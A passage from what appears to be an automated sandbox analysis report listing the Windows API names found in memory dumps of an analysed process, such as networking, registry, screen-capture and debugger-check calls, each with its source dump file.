00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "AreFileApisANSI"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "EnumSystemLocalesEx"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "GetUserDefaultLocaleName"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "IsValidLocaleName"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "LCIDToLocaleName"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "DeleteFileW"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "VirtualAlloc"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "GetModuleHandleA"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryW"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "lstrcmpiA"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "GetComputerNameA"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "GlobalFree"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "GetDC"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "wsprintfW"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "wsprintfA"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "DeleteObject"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "CreateCompatibleDC"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "SelectObject"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "BitBlt"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "RegOpenKeyExA"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "GetUserNameA"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "RegQueryValueExA"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "ShellExecuteA"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "WinHttpQueryDataAvailable"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "WinHttpCrackUrl"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "WinHttpConnect"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "WinHttpSetTimeouts"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "WinHttpSendRequest"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "WinHttpWriteData"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "WinHttpGetProxyForUrl"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "WinHttpGetIEProxyConfigForCurrentUser"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "WinHttpCloseHandle"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "WinHttpSetOption"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "WinHttpOpenRequest"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "WinHttpReadData"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "WinHttpQueryHeaders"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "WinHttpAddRequestHeaders"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "WinHttpOpen"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "WinHttpReceiveResponse"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "HttpQueryInfoA"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "InternetOpenUrlA"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "InternetOpenA"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "InternetCloseHandle"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "InternetReadFile"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "VerQueryValueA"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "GetFileVersionInfoA"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "GetStringTypeW"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "LCMapStringW"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "GetCPInfo"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "OutputDebugStringW"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "InitializeSListHead"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "RtlUnwind"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "GetACP"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "SetFilePointerEx"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "ReadConsoleW"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "GetConsoleCP"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "IsValidLocale"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "GetUserDefaultLCID"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "EnumSystemLocalesW"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "IsValidCodePage"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "GetOEMCP"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "GetCommandLineA"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "FindFirstFileExW"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "SetStdHandle"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "SetEndOfFile"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00004360.00000000.67175.00D71000.00000020.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "PostThreadMessageA"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoA"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "GetActiveWindow"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxW"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "StringFromCLSID"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteKeyA"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyA"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "DispatchMessageA"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "GetMessageA"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyA"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExA"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "IsTextUnicode"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExA"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageA"; Source: 